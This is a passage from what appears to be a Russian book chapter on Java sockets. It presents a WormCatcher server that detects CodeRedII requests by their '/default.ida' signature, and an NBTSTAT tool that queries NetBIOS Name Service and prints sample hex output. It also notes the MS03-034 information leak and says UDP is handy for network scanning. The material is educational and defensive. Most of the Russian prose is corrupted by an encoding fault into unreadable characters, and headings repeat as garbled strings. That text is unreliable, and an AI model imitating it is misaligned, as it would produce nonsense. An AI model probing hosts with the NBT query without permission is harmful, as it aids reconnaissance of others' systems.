152      // ïðîäîëæèòü ìîíèòîðèíã î÷åðåäè...
153    }
154  }
155}

ÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿ
C:\> j2sdk1.4.1_02\bin\javac.exe WormCatcher.java

C:\> dir
.
.
ThreadPool.class
WorkerThread.class
WormCatcher.class
.
.

Ïðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿ
C:\> j2sdk1.4.1_02\bin\java.exe WormCatcher

usage: java WormCatcher <local_port>
Ïðèìåð: java WormCatcher 80

*** ïðîñëóøèâàåòñÿ ïîðò 80
*** ðàáî÷èé ïîòîê çàïóùåí.
*** ðàáî÷èé ïîòîê çàïóùåí.
*** ðàáî÷èé ïîòîê çàïóùåí.
*** ðàáî÷èé ïîòîê çàïóùåí.
*** ðàáî÷èé ïîòîê çàïóùåí.
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Â ïðèìåðå 5.7 ìû ïåðåðàáîòàëè êëàññ WorkerThread èç ïðîãðàììû TCPSer-
ver2 òàê, ÷òîáû îí ïðîâåðÿë ñèãíàòóðó ÷åðâÿ CodeRedII. Åñëè ÷åðâü îáíàðó-
æåí, òî íà stdout âûâîäèòñÿ IP-àäðåñ è íîìåð ïîðòà çàðàæåííîãî õîñòà.

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 13–24 îáúÿâëÿþòñÿ âñå íåîáõîäèìûå ëîêàëüíûå ïåðåìåí-

íûå. Îáðàòèòå âíèìàíèå íà ññûëî÷íóþ ïåðåìåííóþ òèïà InetSocketAdd-
ress – îíà ñëóæèò äëÿ ïîëó÷åíèÿ IP-àäðåñà è íîìåðà ïîðòà êëèåíòà.

� Â öèêëå â ñòðîêàõ 28–43 ðàáî÷èé ïîòîê ñëåäèò çà ïîÿâëåíèåì íîâûõ
îáúåêòîâ Socket â âåêòîðå m_queue. Çäåñü íè÷åãî íå èçìåíèëîñü ïî ñðàâ-
íåíèþ ñ ïðèìåðîì TCPServer2.

� Â ñòðîêå 46 íà stdout âûâîäèòñÿ ñîîáùåíèè î íîâîì âõîäÿùåì ñîåäè-
íåíèè.

� Â ñòðîêàõ 51–53 ìû ïîëó÷àåì ïîòîê ââîäà InputStream è íàäñòðàèâàåì
íàä íèì îáúåêò êëàññà LineNumberReader.

� Â ñòðîêàõ 56–75 çàïðîñ îò êëèåíòà ñ÷èòûâàåòñÿ ïîñòðî÷íî ñ ïîìîùüþ
îáúåêòà LineNumberReader, è ïðî÷èòàííûå ñòðîêè âûâîäÿòñÿ íà stdout.
Â ñòðîêå 71 ìû ïðîâåðÿåì êàæäóþ ñòðîêó çàïðîñà íà íàëè÷èå ñèãíàòóðû
÷åðâÿ CodeRedII /default.ida?XXXX. Åñëè îíà îáíàðóæåíà, òî áóëåâñêîé
ïåðåìåííîé iscr ïðèñâàèâàåòñÿ çíà÷åíèå true.

� Â ñòðîêå 78 ïðîâåðÿåòñÿ çíà÷åíèå ïåðåìåííîå iscr. Åñëè îíî ðàâíî true,
òî îáíàðóæåí çàïðîñ îò ÷åðâÿ CodeRedII, òàê ÷òî ìû ïå÷àòàåì IP-àäðåñ
è íîìåð ïîðòà êëèåíòà. Â ïðîòèâíîì ñëó÷àå èñïîëíåíèå ïðîäîëæàåòñÿ
ñî ñòðîêè 92.

� Â ñòðîêå 82 ìû ïîëó÷àåì îò îáúåêòà Socket îáúåêò InetSocketAddress, ïðåä-
ñòàâëÿþùèé êëèåíòñêóþ îêîíå÷íóþ òî÷êó ñîåäèíåíèÿ. Ñ ïîìîùüþ ýòî-
ãî îáúåêòà ìîæíî çàòåì ïîëó÷èòü IP-àäðåñ è íîìåð ïîðòà êëèåíòà.

� Â ñòðîêå 84 ìû ïîëó÷àåì îáúåêò InetAddress, êîòîðûé ñîäåðæèò ñâåäå-
íèÿ îá IP-àäðåñå è, âîçìîæíî, èìåíè õîñòà êëèåíòà.

� Â ñòðîêå 85 ìû ïîëó÷àåì íîìåð ïîðòà êëèåíòà â âèäå öåëîãî ÷èñëà.
� Â ñòðîêàõ 87–89 ïå÷àòàåòñÿ ñîîáùåíèå î òîì, ÷òî îáíàðóæåí ÷åðâü,

à òàêæå IP-àäðåñ è íîìåð ïîðòà çàðàæåííîãî êîìïüþòåðà.
� Åñëè ÷åðâü íå îáíàðóæåí, òî â ñòðîêàõ 92-114 êîíñòðóèðóåòñÿ è îòïðàâ-

ëÿåòñÿ êëèåíòó çàïðîñ ïî ïðîòîêîëó HTTP 1.0. Çäåñü âñå òàê æå, êàê
â ïðîãðàììå TCPServer2.

� Â ñòðîêàõ 119–151 ìû çàêðûâàåì ñîåäèíåíèå ñ êëèåíòîì è îáðàáàòûâà-
åì èñêëþ÷åíèÿ è îøèáêè. È òóò îòëè÷èé îò ïðîãðàììû TCPServer2
òîæå íåò.

Íà ðèñ. 5.3 ïîêàçàí ïðèìåð ðàáîòû ïðîãðàììû WormCatcher. Ïîñëå çàïóñêà
ïðîãðàììà ïðèâÿçûâàåò ñåðâåðíûé ñîêåò ê ïîðòó 80, ñîçäàåò ïÿòü ïîòîêîâ
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è æäåò çàïðîñîâ îò êëèåíòîâ. Ñíà÷àëà ìû îáðàòèëèñü ê ñåðâåðó èç îáû÷íî-
ãî Web-áðàóçåðà, ÷åìó ñîîòâåòñòâóþò ïåðâûå ïÿòü íàïå÷àòàííûõ ñòðîê.
Âñêîðå ïîñëå ýòîãî áûë ïîëó÷åí GET-çàïðîñ îò ÷åðâÿ CodeRedII –
/default.ida?XXXXXXXX..., êîòîðûé ñîîòâåòñòâóåò òðåáóåìîé ñèãíàòóðå. Ïðî-
ãðàììà WormCatcher ðàñïîçíàëà ýòîò çàïðîñ è íàïå÷àòàëà IP-àäðåñ è íîìåð
ïîðòà.

Рис. 5.3. Рис. 5.3. Рис. 5.3. Рис. 5.3. Рис. 5.3. Поведение программы WormCatcher
после обнаружения запроса от червя CodeRedII

Ýòîò ïðèìåð ïîêàçûâàåò, êàê ïðèìåíÿòü íà ïðàêòèêå ðàçëè÷íûå èíòåð-
ôåéñû äëÿ ñåòåâîãî ïðîãðàììèðîâàíèÿ, èìåþùèåñÿ â ïàêåòå java.net.

Клиенты и серверы для протокола UDP

Ïî ñðàâíåíèþ ñ êëèåíòñêèìè è ñåðâåðíûìè TCP-ñîêåòàìè, ïðîãðàììèðîâà-
íèå ñîêåòîâ äëÿ ïðîòîêîëà UDP âûãëÿäèò ïðîùå. Äëÿ õðàíåíèÿ îòïðàâëÿåìûõ
è ïðèíèìàåìûõ äàííûõ èñïîëüçóåòñÿ áóôåð, ïðåäñòàâëåííûé ìàññèâîì áàé-
òîâ. Áóôåð óïðàâëÿåòñÿ îáúåêòîì êëàññà DatagramPacket, ñîäåðæàùèì ìåòîäû
äëÿ ïîëó÷åíèÿ è îòïðàâêè äàííûõ.

Ïðè ïðîãðàììèðîâàíèè UDP-ñîêåòîâ ñ ïîìîùüþ ïàêåòà java.net ìåæäó
êëèåíòñêèìè è ñåðâåðíûìè ñîêåòàìè ïî÷òè íåò ðàçíèöû. Ýòî îáúÿñíÿåòñÿ
òåì, ÷òî UDP – ýòî ïðîòîêîë áåç õðàíèìîãî ñîñòîÿíèÿ. Â íåì íåò ïîíÿòèÿ
î ñîåäèíåíèè, ðå÷ü ìîæåò èäòè ðàçâå ÷òî î çàïîìèíàíèè àäðåñîâ ñòîðîí.

Ñåðâåðíûé UDP-ñîêåò, ïðåäñòàâëåííûé êëàññîì DatagramSocket, ïðèâÿçû-
âàåòñÿ ê ïîðòó òî÷íî òàê æå, êàê â ñëó÷àå êëàññà ServerSocket. Îäíàêî íèêà-
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êîé îáúåêò êëàññà Socket, îïèñûâàþùèé ñîåäèíåíèå ñ êëèåíòîì, íå âîçâðà-
ùàåòñÿ, òàê êàê ïðîòîêîë UPD íå óñòàíàâëèâàåò ñîåäèíåíèÿ. Âìåñòî ýòîãî
ïî ìåðå ïðèõîäà íîâûõ äàòàãðàìì ïîëó÷åííûå äàííûå çàïèñûâàþòñÿ â ñó-
ùåñòâóþùèé îáúåêò DatagramPacket ñ ïîìîùüþ ìåòîäà receive() êëàññà Data-
gramSocket.

Примечание

Как�то ночью, работая над примером NBTSTAT.java, я послал прияте�
лю сообщение через Instant Messenger. Часть его появилась в дан�
ных, выведенных NBTSTAT. Это вызвало интерес у моего приятеля,
который решил исследовать вопрос. Оказалось, что Microsoft Win�
dows от NT до XP не обнуляет байты�заполнители в ответах, посылае�
мых службой NetBIOS Name Service, а, стало быть, раскрывает содер�
жимое случайных областей памяти. Проблема была представлена
вниманию Miscrosoft, в результате чего был выпущен информацион�
ный бюллетень MS03�034.

Â ïðèìåðå 5.8 ïîêàçàíî, êàê ñ ïîìîùüþ êëàññîâ DatagramPacket è
DatagramSocket ðåàëèçîâàòü íåñëîæíóþ óòèëèòó äëÿ çàïðîñà èíôîðìàöèè
ó ñëóæáû NetBIOS Name Service. Ãðóáî ãîâîðÿ, ïðîãðàììà ïîëó÷àåò òó æå
èíôîðìàöèþ, ÷òî è ñòàíäàðòíàÿ ïðîãðàììà nbtstat, çàïóùåííàÿ ñ ôëàãîì -A
(c:\>nbtstat -A <target_host>). Âîçâðàùàåìûé â îòâåò ïàêåò äîëæåí ñîäåðæàòü,
â ÷àñòíîñòè, èìÿ äîìåíà èëè ðàáî÷åé ãðóïïû, â êîòîðóþ âõîäèò óäàëåííûé
õîñò, è èìÿ êîìïüþòåðà.

Пример 5.8. Пример 5.8. Пример 5.8. Пример 5.8. Пример 5.8. Программа NBTSTAT (NBTSTAT.java)
 1 /*

 2  * NBTSTAT.java

 3  *

 4  * Ïðîãðàììà îïðîñà ñëóæáû Netbios Name Service

 5  * ïî UDP-ïîðòó 137. Íàïèñàíà ñ ïîìîùüþ êëàññîâ

 6  * DatagramSocket è DatagramPacket èç

 7  * ïàêåòà java.net.

 8  *

 9  *

10  */

11
12 import java.io.* ;

13 import java.net.*;

14
15 public class NBTSTAT

Обзор протоколов ТСР/IP



268 Глава 5. Сокеты в языке Java

16 {

17   public static void main(String[] args)

18   {

19     DatagramSocket ds    = null;

20     DatagramPacket dpqry = null;

21     DatagramPacket dprsp = null;

22     InetAddress    ia    = null;

23     String         tmp   = null;

24     byte[]         brsp  = new byte[0xFFFF];

25     byte[]         bqry  = new byte[]

26     {

27       // Çàïðîñ ê ñëóæáå èìåí

28       // NetBIOS over TCP/IP (NBT)...

29       (byte) 0x81, (byte) 0xd4,

30       0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,

31       0x00, 0x00, 0x20, 0x43, 0x4b, 0x41, 0x41, 0x41,

32       0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

33       0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

34       0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,

35       0x41, 0x41, 0x41, 0x00, 0x00, 0x21, 0x00, 0x01

36     };

37
38     if(args.length != 1)

39     {

40       System.out.println("usage: java NBTSTAT"

41                        + " <target_ip>");

42       System.out.println("Ïðèìåð: java NBTSTAT"

43                        + " 192.168.1.1");

44       System.exit(1);

45     }

46
47     try

48     {

49       tmp = args[0];

50
51       // ïðåîáðàçîâàòü èç String â InetAddress

52       ia = InetAddress.getByName(tmp);

53
54       ds = new DatagramSocket();

55
56       // ñêîíôèãóðèðîâàòü UDP-ñîêåò, çàäàâ

57       // InetAddress ïîëó÷àòåëÿ

58       ds.connect(ia, 137);

59
60       // ñîçäàòü DatagramPacket

61       dpqry = new DatagramPacket(bqry, bqry.length);

62
63       // îòïðàâèòü NBT-çàïðîñ èíòåðåñóþùåìó õîñòó

64       ds.send(dpqry);
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 65
 66       // ñîçäàòü DatagramPacket

 67       dprsp = new DatagramPacket(brsp, brsp.length);

 68
 69       // ïîëó÷èòü îòâåò

 70       ds.receive(dprsp);

 71
 72       // çàêðûòü UDP-ñîêåò

 73       ds.close();

 74
 75       // âûâåñòè ðåçóëüòàò â ôîðìàòå tcpdump –X

 76       System.out.println("*** îòâåò íà çàïðîñ ê NBT (" + ia

 77                        + ")(" + dprsp.getLength() + "):");

 78       System.out.println("");

 79
 80       printByteArray(dprsp.getData(), dprsp.getLength());

 81
 82       try

 83       {

 84         Thread.sleep(10);

 85       }

 86       catch(InterruptedException ie)

 87       {

 88       }

 89     }

 90
 91     catch (IOException ioe)

 92     {

 93       System.err.println("IOException: "

 94                        + ioe.getMessage());

 95     }

 96   }

 97
 98   private static void printByteArray(byte[] array, int len)

 99   {

100    String hex = null;
101    byte[] tmp = new byte[16];
102    int    x   = 0;
103    int    y   = 0;
104    int    z   = 0;
105
106    for( ; x < len; ++x)
107    {
108      tmp[y++] = array[x];
109
110      if(y % 16 == 0)
111      {
112        for(z=0; z < y; ++z)
113        {

Обзор протоколов ТСР/IP



270 Глава 5. Сокеты в языке Java

114          hex = Integer.toHexString(tmp[z] & 0xFF);
115          if(hex.length() == 1)
116          {
117            hex = "0" + hex;
118          }
119          System.out.print(hex + " ");
120        }
121
122        for(z=0; z < y; ++z)
123        {
124          if(tmp[z] > 0x30 &&
125             tmp[z] < 0x7B)
126          {
127            System.out.print((char)tmp[z]);
128          }
129          else
130          {
131            System.out.print(".");
132          }
133        }
134
135        System.out.println("");
136        y=0;
137      }
138    }
139
140    if(y > 0)
141    {
142      for(z=0; z < y; ++z)
143      {
144        hex = Integer.toHexString(tmp[z] & 0xFF);
145        if(hex.length() == 1)
146        {
147          hex = "0" + hex;
148        }
149        System.out.print(hex + " ");
150      }
151
152      z = y;
153
154      while(z < 16)
155      {
156        System.out.print("   ");
157        ++z;
158      }
159
160      for(z=0; z < y; ++z)
161      {
162        if(tmp[z] > 0x30 &&
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163        tmp[z] < 0x7B)
164        {
165          System.out.print((char)tmp[z]);
166        }
167        else
168        {
169          System.out.print(".");
170        }
171      }
172
173      System.out.println("");
174    }
175
176    System.out.println("");
177
178    return;
179  }
180}

ÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿ
C:\> j2sdk1.4.1_02\bin\javac.exe NBTSTAT.java

C:\> dir
.
.
NBTSTAT.class
.
.

Ïðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿ
C:\> j2sdk1.4.1_02\bin\java.exe NBTSTAT

usage: java NBTSTAT <target_ip>
Ïðèìåð: java NBTSTAT 192.168.1.1

C:\> j2sdk1.4.1_02\bin\java.exe NBTSTAT 10.0.1.81

*** îòâåò íà çàïðîñ ê NBT (/10.0.1.81)(265):

81 d4 84 00 00 00 00 01 00 00 00 00 20 43 4b 41 .............CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA...
00 01 00 00 00 00 00 bf 08 57 49 4e 32 4b 54 45 .........WIN2KTE
53 54 31 53 50 33 20 20 00 44 00 57 49 4e 32 4b ST1SP3...D.WIN2K
54 45 53 54 31 53 50 33 20 20 20 44 00 57 4f 52 TEST1SP3...D.WOR
4b 47 52 4f 55 50 20 20 20 20 20 20 00 c4 00 57 KGROUP.........W
4f 52 4b 47 52 4f 55 50 20 20 20 20 20 20 1e c4 ORKGROUP........
00 57 49 4e 32 4b 54 45 53 54 31 53 50 33 20 20 .WIN2KTEST1SP3..
03 44 00 49 4e 65 74 7e 53 65 72 76 69 63 65 73 .D.INet.Services
20 20 1c c4 00 49 53 7e 57 39 4e 32 4b 54 45 53 .....IS.WIN2KTES
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54 31 53 50 33 44 00 41 44 4d 49 4e 49 53 54 52 T1SP3D.ADMINISTR
41 54 4f 52 20 20 03 44 00 00 50 56 40 4e 06 00 ATOR...D..PV@N..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00                      .........

Ýòà ïðîãðàììà êîíñòðóèðóåò ïàêåò, ñîäåðæàùèé çàïðîñ ê ñëóæáå èìåí
NetBIOS over TCP/IP, îòïðàâëÿåò åãî óäàëåííîìó õîñòó ïî ïðîòîêîëó UDP,
à çàòåì ôîðìàòèðóåò ïîëó÷åííûé îòâåò è âûâîäèò åãî íà stdout. Ïðèìåð äå-
ìîíñòðèðóåò, êàê îòïðàâëÿòü è ïðèíèìàòü UDP-äàòàãðàììû ñ ïîìîùüþ ñðåäñòâ
èç ïàêåòà java.net, à òàêæå êàê ïðåäñòàâëÿòü ïîëó÷åííûå äàííûå â óäîáíîì
äëÿ âîñïðèÿòèÿ âèäå.

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 12 è 13 âêëþ÷àþòñÿ ïàêåòû java.net è java.io, â êîòîðûõ ñîäåð-

æàòñÿ íåîáõîäèìûå ïðîãðàììå êëàññû DatagramSocket, DatagramPacket
è InetAddress. Â ïàêåòå java.io íàõîäèòñÿ òàêæå êëàññ IOException.

� Â ñòðîêå 15 íà÷èíàåòñÿ îáúÿâëåíèå êëàññà NBTSTAT.
� Â ñòðîêå 17 îáúÿâëåí ñòàòè÷åñêèé ìåòîä main, ïðèíàäëåæàùèé êëàññó

NBTSTAT.
� Â ñòðîêàõ 19–25 îáúÿâëåíû ëîêàëüíûå ïåðåìåííûå, èñïîëüçóåìûå

â ìåòîäå main. Ê íèì îòíîñèòñÿ â ÷àñòíîñòè ññûëêà íà îáúåêò êëàññà
DatagramSocket, íåîáõîäèìîãî äëÿ îòïðàâêè è ïðèåìà UDP-äàòàãðàìì,
è äâå ññûëêè íà îáúåêòû DatagramPacket – îäèí äëÿ õðàíåíèÿ îòïðàâëÿ-
åìîé, äðóãîé – ïðèíèìàåìîé äàòàãðàììû.

� Â ñòðîêàõ 29–35 â ìàññèâ áàéòîâ bqry çàíîñèòñÿ çàïðîñ ê ñëóæáå èìåí
NBT. Ýòî ïîëíîñòüþ ñôîðìèðîâàííûé çàïðîñ â äâîè÷íîì âèäå. Ïåð-
âûå äâà áàéòà ïðèâåäåíû ê òèïó byte, òàê êàê â Java ïðèìèòèâíûé òèï
byte çíàêîâûé, â íåì ìîãóò ñîõðàíÿòüñÿ çíà÷åíèÿ îò –128 äî 127. Íî
ïîñêîëüêó ïåðâûå äâà áàéòà 0x81 è 0xd4 áîëüøå ìàêñèìàëüíîãî çíà÷å-
íèÿ, êîòîðîå ìîæíî ñîõðàíèòü â òèïå byte, òî êîìïèëÿòîð ïî óìîë÷à-
íèþ ïðîèçâåë áû ðàñøèðÿþùåå ïðåîáðàçîâàíèå, è ðåçóëüòèðóþùåå
çíà÷åíèå íåëüçÿ áûëî áû ñîõðàíèòü â áàéòîâîì ìàññèâå. ßâíîå ïðèâå-
äåíèå òèïà ïðåäîòâðàùàåò òàêîå ïðåîáðàçîâàíèå è âìåñòå ñ íèì îøèá-
êó êîìïèëÿöèè.

� Â ñòðîêàõ 38–45 îáðàáàòûâàþòñÿ àðãóìåíòû, çàäàííûå â êîìàíäíîé
ñòðîêå. Ïðîãðàììå NBTSTAT òðåáóåòñÿ òîëüêî IP-àäðåñ èëè èìÿ õîñòà,
êîòîðîìó áóäåò ïîñëàí çàïðîñ.

� Â ñòðîêå 52 çàäàííûé â êîìàíäíîé ñòðîêå IP-àäðåñ ïðåîáðàçóåòñÿ
â îáúåêò InetAddress. Ýòî íåîáõîäèìî, ïîñêîëüêó êîíñòðóêòîð Data-
gramSocket ïðåäïîëàãàåò, ÷òî IP-àäðåñ óäàëåííîãî õîñòà ïðåäñòàâëåí
â âèäå îáúåêòà ýòîãî êëàññà.
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� Â ñòðîêå 54 ñîçäàåòñÿ îáúåêò êëàññà DatagramSocket, ïðè÷åì êîíñòðóê-
òîðó ïåðåäàåòñÿ ññûëêà íà ñîçäàííûé â ñòðîêå 52 îáúåêò InetAddress è
íîìåð ïîðòà 137. Ýòîò ïîðò çàðåçåðâèðîâàí äëÿ ñëóæáû èìåí NBT.

� Â ñòðîêå 58 âûçûâàåòñÿ ìåòîä connect() îáúåêòà DatagramSocket. Îí ïî-
ëó÷àåò íà âõîäå ññûëêó íà ñîêåò, ãîòîâûé äëÿ îòïðàâêè è ïîëó÷åíèÿ
UDP-äàòàãðàìì. Ïðîòîêîë UDP íå ïðåäóñìàòðèâàåò íèêàêîãî ïðåäâà-
ðèòåëüíîãî îáìåíà äàííûìè ìåæäó õîñòàìè äëÿ óñòàíîâëåíèÿ ñîåäè-
íåíèÿ.

� Â ñòðîêå 61 ñîçäàåòñÿ îáúåêò DatagramPacket, êîíñòðóêòîðó êîòîðîãî
ïåðåäàåòñÿ çàïðîñ ê ñëóæáå NBT â âèäå ìàññèâà áàéòîâ. Èìåííî ýòîò
ìàññèâ è áóäåò îòïðàâëåí óäàëåííîìó õîñòó.

� Â ñòðîêå 64 ïîäãîòîâëåííûé ïàêåò ïîñûëàåòñÿ ñëóæáå NBT íà óäàëåí-
íîì õîñòå ñ ïîìîùüþ ìåòîäà send() êëàññà DatagramSocket.

� Â ñòðîêå 67 ñîçäàåòñÿ åùå îäèí îáúåêò êëàññà DatagramPacket íà îñíîâå
ìàññèâà áàéòîâ brsp, îáúÿâëåííîãî â ñòðîêå 24. Ïðèíÿòàÿ UDP-äàòàã-
ðàììà áóäåò ñîõðàíåíà â ýòîì ìàññèâå. ×èñëî ïðèíÿòûõ áàéòîâ ìîæíî
ïîëó÷èòü, âûçâàâ ìåòîä getLength() êëàññà DatagramPacket ïîñëå ïðèõîäà
äàòàãðàììû. Â îáúâëåíèè ìàññèâà brsp óêàçàíî, ÷òî åãî ðàçìåð ðàâåí
0xFFFF èëè 65535 â äåñÿòè÷íîé ñèñòåìå. Òàêîâà ìàêñèìàëüíàÿ äëèíà äà-
òàãðàììû â ïðîòîêîëå UDP. Òåì ñàìûì ãàðàíòèðóåòñÿ, ÷òî îòâåäåííîé
ïîä ìàññèâ ïàìÿòè äîñòàòî÷íî äëÿ õðàíåíèÿ ëþáîé UDP-äàòàãðàììû.

� Â ñòðîêå 70 äëÿ ïðèåìà îòâåòà îò óäàëåííîãî õîñòà âûçûâàåòñÿ ìåòîä
receive() êëàññà DatagramSocket. Ýòî áëîêèðóþùèé ìåòîä, òî åñòü ïðî-

Рис. 5.4. Рис. 5.4. Рис. 5.4. Рис. 5.4. Рис. 5.4. Результат работы программы NBTSTAT
после получения ответа от службы имен NBT

Обзор протоколов ТСР/IP
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ãðàììà áóäåò æäàòü îòâåòà íåîïðåäåëåííî äîëãî. Ïîëó÷åííûé îòâåò áó-
äåò ïîìåùåí â îáúåêò dprsp.

� Â ñòðîêå 73 ñîêåò, ïðåäñòàâëåííûé îáúåêòîì DatagramSocket, çàêðûâà-
åòñÿ. Ïðè ýòîì, â îòëè÷èå îò TCP, íå âûïîëíÿåòñÿ ïðîöåäóðà ðàçðûâà
ñîåäèíåíèÿ, ïîñêîëüêó òàêîâîãî íå ñóùåñòâóåò. Ïðîñòî íà÷èíàÿ ñ ýòî-
ãî ìîìåíòà ñîêåò èñïîëüçîâàòü íåëüçÿ, íî óäàëåííûé õîñò îá ýòîì íå
óâåäîìëÿåòñÿ.

� Â ñòðîêàõ 75–80 ïîëó÷åííûé îò ñëóæáû NBT îòâåò ôîðìàòèðóåòñÿ è âû-
âîäèòñÿ íà stdout.

Íà ðèñ. 5.4 ïîêàçàíî, êàê âûãëÿäèò ðåçóëüòàò ðàáîòû ïðîãðàììû NBTSTAT
â îêíå êîìàíä Microsoft Windows.
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Резюме
API Java Sockets – ýòî ïðîñòîé è íàäåæíûé ìåõàíèçì ðåàëèçàöèè ñåòåâûõ âçà-
èìîäåéñòâèé ìåæäó êëèåíòàìè è ñåðâåðàìè. Â áîëüøèíñòâå ñëó÷àåâ äëÿ ïðî-
ãðàììèðîâàíèÿ êëèåíòñêèõ TCP-ñîêåòîâ äîñòàòî÷íî êëàññîâ Socket, Input-
Stream è OutputStream. Äëÿ áîëåå ñëîæíûõ ñèòóàöèé ìîæíî ïîëüçîâàòüñÿ
âñåìè èìåþùèìèñÿ êëàññàìè ïîòîêîâîãî ââîäà/âûâîäà, ÷òî ïîçâîëÿåò äî-
áèâàòüñÿ èíòåðåñíûõ è íåòðèâèàëüíûõ ðåçóëüòàòîâ. Ïðîãðàììèðîâàíèå ñåð-
âåðíûõ TCP-ñîêåòîâ òîæå íå âûçûâàåò îñîáûõ ñëîæíîñòåé. Íåîáõîäèìóþ
ôóíêöèîíàëüíîñòü ïðåäîñòàâëÿåò êëàññ ServerSocket, à íîâîå ñîåäèíåíèå
ñ êëèåíòîì ïðåäñòàâëÿåòñÿ óæå çíàêîìûì êëàññîì Socket. Äëÿ îïòèìèçàöèè
îáðàáîòêè çàïðîñîâ íà ñîåäèíåíèå îò êëèåíòîâ TCP-ñåðâåð ìîæíî ïðîåêòè-
ðîâàòü ïî-ðàçíîìó, â òîì ÷èñëå â âèäå ïîñëåäîâàòåëüíîé èëè ìíîãîïîòî÷íîé
ïðîãðàììû. Â ïîñëåäíåì ñëó÷àå ìîæíî îðãàíèçîâàòü ïóë ïîòîêîâ.

ßçûê Java ïîçâîëÿåò êîìáèíèðîâàòü ìåòîäû ïðîãðàììèðîâàíèÿ êëèåíòñ-
êèõ è ñåðâåðíûõ TCP-ñîêåòîâ äëÿ ñîçäàíèÿ èíòåðåñíûõ ñåòåâûõ óòèëèò, â ÷à-
ñòíîñòè – îòíîñÿùèõñÿ ê ñôåðå èíôîðìàöèîííîé áåçîïàñíîñòè. Ïðîñòóþ
ïðîãðàììó ìîíèòîðèíãà òèïà WormCatcher ìîæíî îáîáùèòü íà ìíîãèå äðó-
ãèå òèïû àòàê íà áàçå ïðîòîêîëà TCP. Â Java åñòü òàêæå ñðåäñòâà äëÿ ïðîãðàì-
ìèðîâàíèÿ UDP-ñîêåòîâ. Êëàññû DatagramSocket è DatagramPacket èç ïàêåòà
java.net ïîçâîëÿþò âêëþ÷èòü â ïðîãðàììó ïîääåðæêó ïðîòîêîëà UDP, íàïè-
ñàâ âñåãî ëèøü îêîëî äåñÿòè ñòðîê êîäà.

UDP-ñîêåòû ìîæíî ïðèìåíÿòü äëÿ ñîçäàíèÿ ðàçëè÷íûõ ïðèëîæåíèé îá-
ùåãî íàçíà÷åíèÿ, íî îñîáåííî ïîëåçíû îíè äëÿ ñêàíèðîâàíèÿ ñåòåé è îáíà-
ðóæåíèÿ ñåðâèñîâ. Òàê, ïðîòîêîë Microsoft SQL Server Resolution Protocol ðà-
áîòàåò íà UDP-ïîðòó 1434, ïðîòîêîë Microsoft NetBIOS Name Server – íà UDP-
ïîðòó 137. Ïðîòîêîë UDP ïðèìåíÿåòñÿ òàêæå äëÿ ñëóæáû RPC â UNIX, äà è äëÿ
ìíîãèõ äðóãèõ ñëóæá â UNIX, Linux è Windows.

Резюме
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Обзор изложенного материала
TCP-êëèåíòûTCP-êëèåíòûTCP-êëèåíòûTCP-êëèåíòûTCP-êëèåíòû

� Ïàêåò java.net óïðîùàåò ïðîãðàììèðîâàíèå êëèåíòñêèõ TCP-ñîêåòîâ,
òàê êàê âñå äåòàëè ñîçäàíèÿ è óïðàâëåíèÿ TCP-ñîåäèíåíèÿìè èíêàïñó-
ëèðîâàíû â åäèíñòâåííîì êëàññå (Socket).

� Äëÿ ïåðåäà÷è è ïðèåìà äàííûõ ÷åðåç ñîêåò ïðèìåíÿþòñÿ ñòàíäàðòíûå
êëàññû InputStream è OutputStream èç ïàêåòà java.io.

TCP-ñåðâåðûTCP-ñåðâåðûTCP-ñåðâåðûTCP-ñåðâåðûTCP-ñåðâåðû
� Äëÿ ñîçäàíèÿ ñåðâåðíûõ TCP-ñîêåòîâ è óïðàâëåíèÿ èìè ïðèìåíÿåòñÿ

êëàññ ServerSocket. Îí ïîçâîëÿåò ïðèâÿçàòü ñîêåò ê óêàçàííîìó ïîðòó è
çàòåì îæèäàòü çàïðîñà íà ñîåäèíåíèå.

� Êîãäà ïîñòóïàåò íîâûé çàïðîñ íà ñîåäèíåíèå, îáúåêò ServerSocket ñîçäà-
åò íîâûé ýêçåìïëÿð êëàññà Socket, êîòîðûé çàòåì èñïîëüçóåòñÿ äëÿ îá-
ìåíà äàííûìè ñ óäàëåííûì êëèåíòîì. Â êëàññå ServerSocket åñòü íå-
ñêîëüêî êîíñòðóêòîðîâ è ìåòîäîâ, â ÷àñòíîñòè, äëÿ ïðèâÿçêè ñåðâåðíî-
ãî TCP-ñîêåòà ê ëîêàëüíîìó IP-àäðåñó è ïîðòó.

Êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà UDPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà UDPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà UDPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà UDPÊëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà UDP
� Îáû÷íî ïðîãðàììèðîâàíèå UDP-ñîêåòîâ ïðîùå, ÷åì â ñëó÷àå TCP,

ïîñêîëüêó äëÿ õðàíåíèÿ îòïðàâëÿåìûõ è ïðèíèìàåìûõ äàííûõ ñëóæèò
åäèíñòâåííûé áóôåð, ïðåäñòàâëåííûé ìàññèâîì áàéòîâ.

� Êëàññ DatagramPacket èíêàïñóëèðóåò óïðàâëåíèå áóôåðîì äàííûõ,
